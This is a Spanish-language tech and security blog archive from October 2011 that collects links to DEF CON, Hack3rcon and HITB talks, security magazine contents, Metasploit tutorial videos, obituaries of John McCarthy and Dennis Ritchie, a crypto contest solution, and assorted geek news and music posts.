• Deviant Ollam - Safe to Armed in Seconds A Study of Epic Fails of Popular Gun Safes
• Whitfield Diffie and Moxie Marlinspike
• Artem Dinaburg - Bit-squatting DNS Hijacking Without Exploitation
• Alva Skip Duckwall - A Bridge Too Far Defeating Wired 8021x with a Transparent Bridge Using Linux
• Nelson Elhage - Virtualization Under Attack Breaking out of KVM
• Tim Elrod and Stefan Morris - I Am Not a Doctor but I Play One on Your Network
• Patrick Engebretson and Josh Pauli - Mamma Dont Let Your Babies Grow Up to be Pen Testers
• eskimo - Steganography and Cryptography 101
• Eston Abraham and Johnson - Dont Drop the SOAP Real World Web Service Testing for Web Hackers
• Ben Feinstein and Jeff Jarmoc - Get Off of My Cloud Cloud Credential Compromise and Exposure
• Foofus - Handicapping the US Supreme Court Can We Get Rich by Forceful Browsing
• Gus Fritschie and Mike Wright - Getting F***** On the River
• Eric Fulton - Cellular Privacy A Forensic Analysis of Android Network Traffic
• Daniel Garcia - UPnP Mapping
• Andrew Gavin - Gone in 60 Minutes Stealing Sensitive Data from Thousands of Systems Simultaneously with OpenDLP
• Kenneth Geers - Strategic Cyber Security An Evaluation of Nation-State Cyber Attack Mitigation Strategies
• Ramon Gomez - Bulletproofing The Cloud Are We Any Closer To Security
• Vlad Gostom and Joshua Marpet - Smile for the Grenade Camera Go Bang
• Panel - Represent Defcon Groups Hackerspaces and You
• Panel - Smartfuzzing the Web Carpe Vestra Foramina
• Rob Havelt and Wendel Guglielmetti Henrique - Earth vs The Giant Spider Amazingly True Stories of Real Penetration Tests
• Deral Heiland - From Printer To Pwnd Leveraging Multifunction Printers During Penetration Testing
• Thomas Holt and Max Kilger - Assessing Civilian Willingness to Participate in On-Line Political and Social Conflict
• Rick Howard - An Insiders Look at International Cyber Security Threats and Trends
• Hubris and a5h3r4h - Anonymous Cyber War
• Mikko Hypponen - The History and the Evolution of Computer Viruses
• Hackajar - Economics of Password Cracking in the GPU Era
• Aseem Jakhar - Jugaad Linux Thread Injection Kit
• Matt Joyce - The Art of Trolling
• Dan Kaminsky - Black Ops of TCPIP 2011
• Dave Kennedy - Hacking Your Victims Over Power Lines
• Brian Kennish - Tracking the Trackers How Our Browsing History Is Leaking into the Cloud
• Alexander Kornbrust - Hacking and Securing DB2 LUW Databases
• Itzik Kotler and Iftach Ian Amit - Sounds Like Botnet
• Matt Krick - DCFluX in License to Transmit
• Lai Wu Chiu PK - Balancing The Pwn Trade Deficit APT Secrets in Asia
• Lawson Potter and Deviant Ollam - And Thats How I Lost My Eye Exploring Emergency Data Destruction
• Grayson Lenik - Im Your MACbDaddy
• Katy Levinson - Dont Fix It In Software
• Steven Levy - We Owe it All to the Hackers
• Ryan Linn - PIG Finding Truffles Without Leaving A Trace
• David Litchfield - Hacking and Forensicating an Oracle Database Server
• Johnny Long - Johnny Long and Hackers for Charity
• William Manning - Pervasive Cloaking
• Joey Maresca - Were Here To Help A Look At How FIPS 140 Helps And Hurts Security
• Moxie Marlinspike - SSL And The Future Of Authenticity
• Jon McCoy - Hacking Net Applications The Black Arts
• Wesley McGrew - Covert Post-Exploitation Forensics With Metasploit
• John McNabb - Vulnerabilities of Wireless Water Meter Networks
• Charlie Miller - Battery Firmware Hacking
• Panel - DEF CON Comedy Jam IV A New Hope For The Fail Whale
• Steve Ocepek - Blinkie Lights Network Monitoring with Arduino
• Panel - Ask EFF The Year in Digital Civil Liberties
• Kyle Osborn and Matt Johanson - Hacking Google Chrome OS
• Jason Ostrom - VoIP Hopping the Hotel Attacking the Crown Jewels through VoIP
• Nicole Ozer - Big Brother on the Big Screen
• Nicholas Percoco and Paul Kehrer - Getting SSLizzard
• Nicholas Percoco and Jibran Ilyas - Malware Freak Show 3 Theyre pwning erbody out there
• Nicholas Percoco and Sean Schulte - This is REALLY not the droid youre looking for
• Josh Phillips - Hacking MMORPGs for Fun and Mostly Profit
• Gregory Pickett - Port Scanning Without Sending Packets
• Jason Pittman - My password is FullOfFail The Core Problem with Authentication and How We Can Overcome It
• Mahmud Ab Rahman - Sneaky PDF
• Rezchikov Wang and Engelman - Why Airport Security Cant Be Done FAST
• Panel - Whoever Fights Monsters Aaron Barr Anonymous and Ourselves
• Michael Robinson - What Time Are You Anyway
• The Dark Tangent and Russ Rogers - DEF CON Awards
• Dan Rosenberg - Owned Over Amateur Radio Remote Kernel Exploitation in 2011
• Michael Scarito - Build your own Synthetic Aperture Radar
• Panel - Net Neutrality Panel
• Michael theprez98 Schearer - WTF Happened to the Constitution The Right to Privacy in the Digital Age
• Jason Scott - Archive Team A Distributed Preservation of Service Attack
• Justin Searle - Attacking and Defending the Smart Grid
• Jimmy Shah - Mobile App Moolah Profit taking with Mobile Malware
• Shrdlu - Are You In Yet The CISOs View of Pentesting
• Skunkworks - Hacking the Global Economy with GPUs or How I Learned to Stop Worrying and Love Bitcoin
• Reeves Smith - How Haunters Void Warranties
• Panel - SCADA and PLCs in Correctional Facilities: The Nightmare Before Christmas
• Jayson E Street - Steal Everything Kill Everyone Cause Total Financial Ruin
• Sumner alien and alison b - Weaponizing Cyberpsychology and Subverting Cybervetting for Fun Profit and Subterfuge
• Bruce Sutherland - How To Get Your Message Out When Your Government Turns Off The Internet
• Martin Holst Swende and Patrik Karlsson - Web Application Analysis With Owasp Hatkit
• Mike Tassey and Rich Perkins - Wireless Aerial Surveillance Platform
• Richard Thieme - Staring into the Abyss The Dark Side of Crime-fighting Security and Professional Intelligence
• Tobias Fiddler and Bluzmanis - Insecurity An Analysis Of Current Commercial And Government Security Lock Designs
• Schuyler Towne - DIY Non-Destructive Entry
• Marketa Trimble - The Future of Cybertravel Legal Implications of the Evasion of Geolocation
• Shawn Webb - Runtime Process Insemination
• Matt scriptjunkie Weeks - Network Nightmare Ruling The Nightlife Between Shutdown And Boot With Pxesploit
• Yekaterina Tsipenyuk ONeil and Erika Chin - Seven Ways to Hang Yourself with Google Android
• Jos Weyers - Key Impressioning
• Thomas Wilhelm - Staying Connected during a Revolution or Disaster
• Andrew Wilson and Michael Brooks - Traps of Gold
• Brad Woodberg - Network Application Firewalls Exploits and Defense
• Joey Zhu - Phishing and Online Scam in China
• Zoz and Andrea Bianchi - Vanquishing Voyeurs Secure Ways To Authenticate Insecurely
• Panel - Is it 0-day or 0-care

Nota: en estos momentos parece que los están subiendo, con lo que no están todos disponibles, pero pronto lo estarán :)

Fuente

Adiós al padre la Inteligencia Artificial moderna, …

Este mes de Octubre no será fácil de olvidar para los informáticos y los amantes de la tecnología. Ahora ha fallecido John McCarthy (a los 84 años) , padre del lenguaje LISP (uno de los más antiguos que aún es utilizado)  y ganador en 1972 del famoso premio Turing. 

La premisa de McCarthy era hacer la IA interactiva y esos algoritmos son lo que ha permitido desarrollar programas como Eliza ó el más reciente Siri. Una de sus premisas fundamentales era que la IA pudiera pasar el Test de Turing (lógico viendo su intención de humanizar a las máquinas).

Lectura para este finde

Si no tienes nada planeado para este fin de semana, aquí tienes para distraerte:

• HTML5 For Web Designers
• MacRuby: The Definitive Guide
• The Macintosh Way
• Introduction to the Command Line
• Dive Into HTML5
• Learn C The Hard Way
• The Little Book on CoffeeScript
• Don’t Just Roll the Dice A usefully short guide to software pricing (PDF)
• How to Design Classes
• Advances In Genetic Programming 3
• Radiosity: A Programmer’s Perspective (ZIP)
• Clever Algorithms Nature-Inspired Programming Recipes
• Barebones Spring MVC
• ECRYPT II Yearly Report on Algorithms and Keysizes (2010-2011) (PDF)

Super Rubik Land

Historia de los estándares web (Infografía)

Fuente

Pauldotcom Episodio 7

Ya tenemos otro nuevo episodio de este magnífico podcast sobre seguridad de la mano de Carlos Perez, también conocido como Darkoperator. En esta ocasión nos trae una entrevista al autor de la BESTIA (B.E.A.S.T), Juliano Rizzo, la que tanto ha dado que hablar desde que fue presentada en la ekoparty.

Puedes descargar el podcast desde aquí.

 

Vídeos de la Hack3rcon II

Desde la web de archive, podemos acceder a los vídeos de las charlas de la segunda edición de la Hack3rcon

• 1-1 Opening Ceremony - Johnny Long - Keynote (via Skype) 244.1 MB 
• 1-2 Chris Silvers and Pat McCoy Hook Line and Syncer A Liar for Hires Ultimate Tackle Box 306.8 MB 
• 1-3 Borris Sverdlik Your Perimeter Sucks 598.0 MB 
• 1-4 Joshua Perry OSINT 446.9 MB 
• 1-5 Gus Fristschie Getting fXXXed on the river 682.4 MB 
• 1-8 Eric Milam Automating MiTM for Winning 752.4 MB 
• 2-1 Keith Pachulski Common Project Issues with Technical Assessments 195.3 MB 
• 2-2 Tim Tomes and Mark Baggett Lurking in the Shadows 527.2 MB 
• 2-3 Martin Bos Your Password Policy Sucks 350.8 MB 
• 2-4 James Macgregor Watson Online Time OF cRIME 203.6 MB 
• 2-5 Charlie Vedaa FXXX the Penetration Testing Execution Standard 236.5 MB 
• 2-8 Stephan Looney Up and Running with Backtrack Workshop 1.2 GB 
• 3-1 Thomas Hoffecker Exploiting PKI for Fun & Profit or The Next Yellow Padlock Icon 669.1 MB 
• 3-2 @grecs How to Win Followers and Influence Friends Hacking Twitter to Boost Your Security Career 416.0 MB 
• 3-3 Jon Schipp Knowing What's Under Your Hood Implementing a Network Monitoring System 325.3 MB

La bicicleta tocadiscos

¿Qué es un tocadiscos? Anda niño míralo en la enciclopedia wikipedia.

El invento es muy geek, pero para aquellos amantes del vinilo, esta es la bicicleta de las bicicletas. Lleva el disco en la rueda trasera. Eso si tienes que ser muy paciente y guardar una velocidad, muy lenta, constante para que el disco se escuche más o menos bien. Esto es sólo un prototipo, pero tiene toda la gracia :)

SysAdmin Anywhere, un completo gestor del …

Windows

Admin Anywhere es una aplicación gratuita con una interface muy intuitiva y fácil de manejar para poder gestionar usuarios, grupos, ordenadores, servidores y dominios.

Contiene una gran cantidad de herramientas incluidas para poder hacer una buena gestión de nuestra red.

Estas son las características:

Gestión del ordenador

• Búsqueda de un ordenador
• Ver y editar propiedades
• Ver eventos
• Ver procesos en el ordenador remoto
• Monitor del rendimiento (CPU, memoria, etc)
• Ejecutar cualquier comando en el ordenador
• Ver listado de hardware instalado
• Idem del software
• Reiniciar un ordenador remoto
• Apagar un ordenador
• Información básica del ordenador

Gestión del usuario

• Búsqueda rápida de usuarios
• Ver y editar las propiedades
• Añadir fotografías
• Añadir un nuevo usuario rellenando todos los campos requeridos automáticamente y crear un nuevo login usando una plantilla (esta opción me parece espectacular).
• Incluir o excluir ciertos grupos
• Reiniciar la contraseña
• Rápidamente ver información sobre un usuario

Gestión de grupos

• Búsqueda de grupos
• Ver y editar las propiedades
• Incluir o excluir ciertos grupos
• Rápidamente ver información sobre un grupo
• Gestión de contactos
• Búsqueda de contactos
• Ver y editar propiedades
• Incluir o excluir ciertos grupos

Informes

• Imprimir informes varios
• Parámetros para generarlos
• Ver el informe en diferentes escalas

Ya veis, no está mal para una aplicación grauita (tiene una extensión de pago que incluye gestión de inventario entre otras mejoras). Una buena ayuda para la gestión de nuestra red.

Visto en 4SysOps.

Tank Dog, para disfrazar a tu perro en Halloween

Visto en SuperPunch.

Midnight City, espectacular como siempre M83, para …

El nuevo disco doble de M83 no puedes perdértelo.

Cada vez me gusta más este grupo con un toque retro, sonidos digitales y fantásticos ritmos.

M83

Hack this zine #13

Nueva entrega de la revista sobre seguridad Hack this zine: People, Like Information, Want to be Free. En este número tenemos:

• Actions Speak Louder than Words (anon attacks the pigs!)
• Border Haunt Action Reportback
• An Adventure in Creative Security Culture
• Hacker Profiles- Making of a Female Hacktivist - an interview with Synch
• Easy CD/DVD Backup w/ Linux
• BitCoin: Dangerous to Surveillance State, Useful to Activists
• Update on Bradley Manning
• Classifieds
• Y mucho más!

Puedes descargarla desde aquí (PDF), para imprimir o desde aquí (PDF) para leer en pantalla.

Er docu der finde: Welcome Macintosh (Subtitulado)

Parte 1/6

Parte 2/6

Parte 3/6

Parte 4/6

Kit de herramientas de seguridad y hacking para …

Imágen de Android Guerrero por Irskaad

Esta no es una lista cerrada (la iremos ampliando), vamos a mostrar algunas aplicaciones gratuitas que convierten tu Android en un auténtico road warrior para la auditar la seguridad de todo tipo de redes y sistemas.

Lo primero ya sabes, es necesario que tengas tu Android rooteado, la mayoría de estas aplicaciones lo requieren. Android es prácticamente un Linux, y por lo tanto estas aplicaciones de bajo nivel requieren acceso root a la mayoría de las funciones del sistema.

Dibujando circuitos electrónicos con tinta de …

En la Universidad de Illinois han desarrollado una tinta de plata altamente conductora. En este vídeo se muestra la fabricación y algunos ejemplos de como se puede utilizar para proyectos sencillos y avanzados de electrónica.

Visto en Make.

HITB Magazine 7

Ya tenemos un nuevo número, el 7, de la revista trimestral sobre seguridad Hack In The Box. Este es el índice de esta entrega:

• COVER STORY
• What Would We Do Without Enemies
• DATABASE SECURITY
• Extending SQL Injection Attacks Using Buffer Overflows – Tactical Exploitation
• WINDOWS SECURITY
• Windows Security Hardening Through Kernel Address Protection
• PROFESSIONAL DEVELOPMENT
• CISSP® Corner 34
• Books
• APPLICATION SECURITY
• Beyond Fuzzing: Exploit Automation with PMCMA
• NETWORK SECURITY
• Intrusion as a Service Using SHODAN
• Studies on Distributed Security Event Analysis in Cloud

La puedes descargar desde aquí (PDF)

Escenas memorables del cine animadas en .gif

Preciosas “postales” animadas en .gif (en un bucle hipnótico) con momentos inolvidables del cine.

Para ver más visita el blog SuperPunch.

Metasploit Community Edition Videos

Como el título indica, aquí tenéis una lista de vídeos sobre la versión Community Edition de la excelente plataforma Metasploit. Si no tienes nada que ver en la tele, ya tienes con que distraerte hasta el viernes, que publiquemos un nuevo docu! :)

• Basic Exploitation vs. Smart Exploitation
• Importing Nexpose Scan Data into Metasploit Community
• Using Metasploit Community with Nexpose
• Basic Exploitation with Metasploit Community Edition
• Scanning Networks with Metasploit Community
• How to update Metasploit Express and Metasploit Pro
• How to add custom wordlists to Metasploit Pro
• How to trial Metasploit Pro with your Metasploit Express installation
• Metasploit Pro 3.7 - Creating Additional Users
• Updating Metasploit Framework on BackTrack 5
• Metasploit Pro 3.7 - Email Setup for Social Engineering Campaigns
• Metasploit Pro 3.7 - Metasploit Pro Console
• Metasploit Pro 3.7 - Import NeXpose Scan Data
• Metasploit Pro 3.7 - NeXpose Scan
• Metasploit Pro 3.7 - Automatic Exploit
• Metasploit Pro 3.7 - Creating a Project
• Metasploit Megaprimer Part 16
• Metasploit Megaprimer Part 17
• Metasploit Megaprimer Part 14
• Metasploit Megaprimer Part 15
• Metasploit Megaprimer Part 13
• Metasploit Megaprimer Part 12
• Metasploit Megaprimer Part 11
• Metasploit Megaprimer Part 10
• Metasploit Megaprimer Part 8
• Metasploit Megaprimer Part 9
• Metasploit Megaprimer Part 7
• Metasploit Megaprimer Part 6
• Metasploit Megaprimer Part 5
• Metasploit Megaprimer Part 4
• Metasploit Megaprimer Part 3
• Metasploit Megaprimer Part 2
• Metasploit Megaprimer Part 1

Fuente de los enlaces

Ice Cream Sandwich ya está en el jardín de Google

Como sabéis, cada vez que Google publica una nueva versión de Android, añaden en su jardín un elemento decorativo que la identifica (en concreto, postres). Ya tenemos el Honeycomb, Gingerbread, etc (los verás en el video). Pues ahora ya está el sandwich de helado de crema gigante (la nueva versión se llama así, ice cream sandwich).

Problemas de seguridad en ROMs no oficiales para …

Básicamente las ROMs, en este caso para Android, las podemos agrupar en 2 tipos:

1. Stock ROMs: aquellas que vienen preinstaladas en el terminal
2. Custom ROMs: aquellas que no son oficiales o creada por terceros, que podemos instalar en nuestro terminal
1. CyanongenMod
2. MIUI
3. OMFGB

En este didáctico documento, Anant Shrivastava nos introduce al mundo de la seguridad de Android haciendo énfasis en las Custom ROMs y como podemos descubrir problemas de configuración de dichas ROMs que podrían comprometer nuestro sistema.

 

Solución al reto TuneUp

Aquellos que nos sigáis por twitter ya sabréis que tenemos ganadores al reto que os propusimos. Los ganadores han sido, en primer lugar Dani Kachakil y en segundo lugar Daniel Correa.

La solución dada por Dani Kachakil fue:

Mi respuesta es: TRES

Como primer paso, decodificamos el B64 original, obteniendo: QKSAGMQEDQNGSFWQQUAJFXDPQXNRSNAIANTRRHYCTMKBNUPEXR

Tras leer el post con la pista, usaremos la siguiente implementación de la máquina Enigma con sus opciones por defecto: http://enigmaco.de/enigma/ enigma.swf

iPhone 4S vs Samsung Galaxy S II ¿Cuál es más …

Cómo cablear el control de apertura de un garaje

Material que necesitas:

• "Musho" cable
• Cinta aislante o lo que te coja más a mano
• Un par de co**nes

Prince of Persia C64/128

Hoy se ha lanzado una versión del legendario Prince of Persia para Commodore 64/128. Éste es una copia del original del Apple II.

Podéis descargar la imagen desde aquí. Necesitaras un cartucho del tipo EasyFlash o 100% compatible.

Pero lo mejor no es sólo esta joya para nos nostálgicos, sino que al autor del mismo, según dice en su blog, va a ir escribiendo como ha hecho la migración, los problemas que se ha encontrado, errores, trucos, etc o como el mismo lo llama: su diario de desarrollo.

Video recordando a Steve Jobs usando sólo sonidos …

Bonito video en tributo a Steve Jobs, sólo utilizando sonidos sacados de productos Apple y frases de Steve Jobs del mítico discurso de Standford. Las imágenes también están bastante bien seleccionadas.

Parece que el Gobernador de California ha declarado el domingo 16/10/2011 (o sea hoy) el día Steve Jobs en California.

Domingo por la mañana, Ryan Hemsworth "Castle in …

Ryan Hemsworth, puedes comprar su disco (tu pones el precio) y bajarte también alguna canción.

Mesa de billar con Realidad Aumentada

Visto en SuperPunch.

Pasar de C a C++, una guía de referencia rápida

Diferencias entre C y C++

Tarde o temprano te toca pasarte a la programación orientada a objetos. Si eres un programador en lenguaje C y necesitas pasarte al C++, esta pequeña guía te orientará a hacerlo lo más claro y sencillo posible.

Ángel Ortega es el  creador (es español pero está en inglés), también ha programado el genial editor de texto para programadores llamado Minimun Profit.

No os perdáis el documento, con un lenguaje muy claro va comparando los nuevos términos de la programación orientada a objetos en C++ con C, como las clases, constructores, etc... No es un curso para aprender a programar en C++, simplemente sirve como una pequeña orientación para tener claros algunos conceptos importantes antes de lanzarte.

Tutorial paso a paso para construir tu propia …

Este tutorial te ayudará a construir paso a paso una máquina recreativa totalmente funcional (además en Linux), pero si como yo, no tienes espacio en casa para montarte una de las grandes, aquí se explica la construcción de una pequeña, exactamente de 20x40x23. ¿El secreto?, pues que el corazón es una fantástica Dingoo (overcloked) A320 (yo tengo una y es espectacular) y la pantalla es un LCD de PS (que se obtiene muy barato por eBay).

Abandoned Times Magazine: una revista gratuita …

¿Echas de menos aquellos gloriosos tiempos de los juegos de PC? ¿Quieres volver a revivirlos?, pues Abandonded Times Magazine es tu revista.

Nuevas revisiones de juegos clásicos (con comentarios actuales), entrevistas y otro tipo de material de interés (por ejemplo, todo sobre DOSbox) , es lo que podrás encontrar en esta revista que acaba de publicar su segundo número (puedes descargarlo en PDF pulsando en la imágen de cada revista):

Er docu der finde: Cerebro, el último enigma

Control remoto de escritorio con Chromoting

Chromoting es una extensión para Google Chrome desarrollada por la propia Google y como el título indica, nos permite el controlar remotamente el escritorio del sistema en el que corra, con la previa autorización del usuario. Nada nuevo bajo el sol si no fuera porque corre como parte del navegador y por lo tanto podrás controlar remotamente cualquier sistema donde corra Chrome: Windows, Linux, Mac o Chromebooks.

Por supuesto es en versión BETA, sí con mayúsculas  tal y como la describe Google.

Otra leyenda de la Informática, Dennis Ritchie, ha …

La red se está llenando de esta fatídica noticia, otra más, la muerte del genio Dennis Ritchie. Junto a Ken Thomson desarrolló el lenguaje de programación C y el sistema operativo Unix (en el cual se basa el OSX de Apple y Linux). Además se llevó el premio Turing en 1983, el máximo galardon que se le puede otorgar a un informático.

Su colaborador, Robert Pike lo ha escrito en su cuenta de Google+:

Presentaciones de la HITBSecConf2011

Una vez terminada la HITBSecConf2011 Malaysia, ya podemos acceder a las presentaciones:

• D1 LABS - VoIP Attacking CUCM.pdf
• D1 SIGINT - Jurre van Bergen and Youri van der Zwart - Abusing RFID.pdf
• D1 SIGINT - Muhammad Najmi Ahmad Zabidi - Compiling Features for Malcious Binaries.pdf
• D1T1 - Alex Kirk - Mobile Malware Analysis.pdf
• D1T1 - Andrea Barisani and Daniele Bianco - EMV Protocol and POS Physical Analysis.pdf
• D1T1 - Jonathan Brossard - Post Memory Corruption Analysis.pdf
• D1T1 - Mahmud Ab Rahman - Reverse Engineering Android Malware.pdf
• D1T1 - Marco Balduzzi - Attacking the Privacy of Social Network Users.pdf
• D1T1 - Riley Hassell - Exploiting Androids for Fun and Profit.pdf
• D1T2 - Alexander Polyakov and Dimitry Chastuhin - SAPocalypse Now.pdf
• D1T2 - Don Bailey - GoodFUN - The GoodFET.pdf
• D1T2 - Jim Geovedi - Satellite Telephony Security.pdf
• D1T2 - Laurent Weber - All your Base Stations Are Belong To Us.pdf
• D1T2 - The Grugq - Smashing the Slack for Fun and Profit.pdf
• D1T2 - biatch0 and RuFI0 - Pwning a 4G Device for a LuLz.pdf
• D1T3 - Barry van Kampen - DIY Video Surveillance.pdf
• D1T3 - Jimmy Shah - Mobile App Moolah.pdf
• KEYNOTE 1 - Kenneth Geers - Is The Pen Still Mightier Than The Sword.pdf

Cómo encontrar y configurar el servidor DNS más …

TM & ©2011 Lucasfilm Ltd. All rights reserved

Windows y Mac

Ya sabemos que cuando introduces una dirección en tu navegador, lo primero que hace el ordenador es resolverla, o sea, encontrar la IP correspondiente a esa dirección (URL). Para ello se conecta a los llamados servidores DNS (Domain Name Servers).

Por ejemplo:

www.cyberhades.com tiene asignada una IP como esta: 94.23.234.76

Cada proveedor de Internet tiene sus propias DNS, pero eso no significa que sean las mejores y las más rápidas. El más rápido, a menudo suele ser el que está más cerca de tu ubicación geográfica. Si cambias a otro DNS más rápido, esto implica que estas direcciones se resuelven más rápidamente, incrementando tu velocidad de navegación. Otro de los posibles problemas que tenemos al usar un DNS de un proveedor son los posibles bloqueos a determinados servicios o filtros de contenido. Siempre tienes la opción de usar servicios DNS gratuitos alternativos como OpenDNS ó Google Public DNS.

Microhistorias: La striper de la pizza y los …

Foto vista aquí.

Seguro que al ver este título en tu RSS ó twitter has volado a ver de qué va esto ;)

Es una Microhistoria muy corta pero muy divertida. Esta vez hablamos (otra vez) de los chicos del Doom y del Quake, id Software formada principalmente por Romero y Carmack.

En 1995 los chicos de id estaban realmente enfrascados en su nuevo proyecto, Quake. Sobre todo John Carmack. Las jornadas de Carmack eran realmente brutales.  Pasaba el día programando el motor de Quake, incluso a veces dormía en las mismas oficinas, pero lo normal era acabar a las 4:00 de la mañana para volver luego a las 9:00 am. Estaba realmente obsesionado. De hecho, esta presión fue la principal causa de la ruptura de Carmack con su colega Romero, ya que este último se estaba dedicando más a jugar deathmatch y a hablar del futuro proyecto que a trabajar en él, o al menos eso pensaba Carmack. Toda esa diversión de música heavy a todo trapo, juegos, bromas y buen rollo había desaparecido. Todos le tenían miedo a Carmack.

Desafío TuneUp de CyberHades, regalamos dos …

Tenemos dos licencias completas (cada una para 3 ordenadores) del fantástico programa para optimizar Windows, TuneUp (aquí ya hablamos sobre él) y queremos compartirlas con vosotros.

Os proponemos un sencillo desafío criptográfico. Vamos a publicar una pregunta y queremos que la respondáis.

Los dos primeros emails que recibamos con la respuesta correcta a la dirección del blog (explicando brevemente cómo lo habéis descifrado):

se llevarán una licencia cada uno para poder instalar hasta en 3 ordenadores este fantástico programa.

Emulador de PC escrito en Javascript

Hace unos meses Fabrice Bellard nos deleitó, una vez más, con un emulador de PC escrito en javascript. El emulador emulaba, valga la redundancia los siguientes componentes:

• CPU compatible 32 bit x86
• Controlador de interrupciones programable 8259
• Temporizador de interrupciones programable 8254
• 16450 UART
• Reloj de tiempo real

Como demostración, el autor compiló un núcleo de Linux 2.6.20 y lo usó para poner en funcionamiento dicho emulador. Aquí podéis ver el emulador en acción. Impresionante como puedes ver, pero el sistema es volátil, es decir, que cuando salgas del mismo lo que hayas hecho se pierde.

Kevin van der Vlist le ha dado un vuelta de tuerca a este emulador y basándose en el mismo, ha añadido soporte de persistencia. Añadiendo al kernel un dispositivo de bloques y aprovechando la nueva API de almacenamiento local que nos ofrece HTML5, a través del emulador expone dicho dispositivo de datos al kernel de Linux emulando los mismos puertos de E/S (I/O) usados por la disquetera, es decir, lo que grabemos dentro del Linux se almacena en el almacenamiento local de nuestro navegador.

Además esta nueva versión arranca la, actualmente, última versión de Linux 3.0.4.

Dart, el nuevo lenguaje de programación web de …

Hoy Google ha presentado su nuevo lenguaje llamado Dart anunciado como "familiar y natural". Está orientado a la programación web y es parecido a Java. Y cuando decimos parecido es porque actúa igual que Java y se ejecuta en una VM como Java. En cambio lleva una herramienta incorporada que convierte código Dart a Javascript.

El objetivo es introducir una VM de Dart que pueda ejecutar código en el servidor pero se supone que más rápido (igual que Node.js). El compilador cruzado Dart-to-Javascript permitirá ejecutar código Dart en cualquier navegador actual. También habrá una herramienta llamada Dartboard la cual funciona igual que una consola Javascript.

Un AT-AT Imperial en Chicago

Visto en GeeksAreSexy.

ClubHack número 21, octubre 2011

Ya tenemos disponible otro número de la ClubHack correspondiente al mes de octubre  de este mismo año. Los artículos de la misma son:

• 0x00 Tech Gyan - Low Profile Botnets
• 0x01 Tool Gyan - Demystifying the Android Malware
• 0x02 Mom's Guide - MALDROID
• 0x03 Legal Gyan - Law relating to Child Pornography in India
• 0x04 Matriux Vibhag - WEBSECURIFY
• 0x05 Poster - Bhag Bhag PC Bose

Desde aquí te puedes descargar el PDF.

Página de la revista

Espectacular video, intento para el Carmack Prize …

John Carmack, creador de Doom y Quake entre otras maravillas (por cierto, la semana que viene publicaremos una Microhistoria sobre él), desafió a los amantes de los cohetes a lanzar uno a más de 100.000 pies de altura, con una recompensa de 10.000 dólares (posiblemente cueste más hacerlo, pero es un buen premio).

Linux fundamentals

Esta es una serie de tutoriales sobre Linux, que nos enseña desde los comandos más básico hasta los más avanzados. Este serie es ideal para aquellos que quieran sacarse la certificación LPIC-1 ofrecida por la LPI (Linux Proffesional Institute).

La serie está compuesta por 4 partes:

• Linux Fundamentals, Part 1
• Linux Fundamentals, Part 2
• Linux Fundamentals, Part 3
• Linux Fundamentals, Part 4

Pero además de esas 4 partes, también es recomendable echarle un vistazo a las siguientes multi-series:

• Bash by Example, Part 1: Fundamental programming in the Bourne-again shell
• Bash by Example, Part 2: More bash programming fundamentals
• Bash by Example, Part 3: Exploring the ebuild system

De los cuales al menos las 2 primeras partes son muy  recomendables para los que queráis hacer el examen mencionado con anterioridad.

Si además quieres convertirte en un administrador de primera, tienes que saber manejar con soltura: sed y awk. Para los cuales también tenemos 2 series disponibles:

• Sed by Example, Part 1
• Sed by Example, Part 2
• Sed by Example, Part 3

• Awk by Example, Part 1
• Awk by Example, Part 2
• Awk by Example, Part 3

Y por supuesto para clavarla no puedes dejar detrás vi, del podrás encontrar infinidad de tutoriales por la red, pero aquí tienes uno para empezar.

"Espero por Dios que sea Batman"

LOL, visto en SuperPunch.

Niños Mutantes "Globo", una canción que te dejará …

Increíble, impresionante grupazo de Granada. Menos mal que tenemos grupos como este que salvan el panorama musical español.

Brutal canción, muy directa, letra sencilla pero devastadora, que igual te puede hablar de la muerte que del amor, “Globo” (de su disco “Mano, Parque, Paseo”):

Convierte tu smartphone en un robot

Este es un proyecto muy chulo, se llama Romo y hace posible el convertir tu smartphone o iPod Toch en un robot.

Bueno el proyecto en fase de recaudación de fondos para ser llevado a cabo. El objetivo es recaudar 32.000 dólares. Si quieres apoyar dicho proyecto, por la cantidad de 78 dólares, recibirás el complemento que convierte tu smartphone en un robot que podrás tele-dirigir.

Dicho complemento está compuesto por:

CyberHades estará en el Asegur@IT 3

No podemos resistir probar las maravillas de ese vino “Tochuelo” del que tanto habla Chema. Luego ya veremos si podemos ir las ponencias de Niko, Sergio de los Santos ó la de Chema (entre otros).

Iremos NOP y yo, Cybercaronte (y a tuxotron lo liaremos vía web desde los USA)

Aún estáis a tiempo de ir y pasar un buen fin de semana de lo más geek (y de paso nos conocemos en persona).

10 lenguajes de programación no tan conocidos que …

No son C, C++, Java, PHP, Python ó Ruby. Posiblemente estos lenguajes de programación puedan ser los sucesores de los más conocidos en un futuro, por eso no está mal saber un poco más sobre ellos:

1. Haskell: http://www.haskell.org/
2. Erlang: http://www.erlang.org/
3. Io: http://iolanguage.com/
4. PLT Scheme: http://plt-scheme.org/
5. Clojure: http://clojure.org/
6. Squeak: http://www.squeak.org/
7. Ocaml: http://caml.inria.fr/
8. Factor: http://factorcode.org/
9. Lua: http://www.lua.org/
10. Scala: http://www.scala-lang.org/

En la web del artículo original encontrarás (en inglés) más detalles sobre ellos.

KVM Forum 2011 Presentations

El KVM forum 2011 se celebró en Vancouver, Canadá el pasado mes de Agosto. Los temas de esta conferencia se basan en el Hipervisor del KVM (Máquina Virtual basada en el kernel de Linux).

Aquí os dejo la lista de las presentaciones que se han publicado:

• Avi Kivity, Red Hat - Keynote Address, Day 136.9 MB / PDF
• Asias He, Beihang University - Native Linux KVM tool113.1 MB / PDF
• Bryan Cantrill, VP Engineering, Joyent - Experiences Porting KVM to SmartOS199.1 MB / PDF
• Kevin Wolf, Red Hat - The Reinvention of qcow2148.1 MB / PDF
• Mark Wagner, Red Hat - KVM Performance Improvements and Optimizations107.3 MB / PDF
• Paul Mackerras, IBM LTC Ozlabs - KVM on the IBM POWER7 Processor164.5 MB / PDF
• Rik van Riel, Red Hat - Guest Memory Overcommit: Free page hinting & more106.0 MB / PDF
• Ryan Harper, IBM Linux Technology Center - Keep a Limit On It: IO Throttling in QEMU89.7 MB / PDF
• Stefan Hajnoczi, IBM & Paolo Bonzini, Red Hat - Virtio SCSI: An alternative virtualized storage stack for KVM142.2 MB / PDF
• Stuart Yoder, Freescale Semiconductor - KVM on Embedded Power Architecture Platforms125.6 MB / PDF

Fuente

Er docu der finde: Albert Einstein

Steve Wozniak también llora por Jobs ...

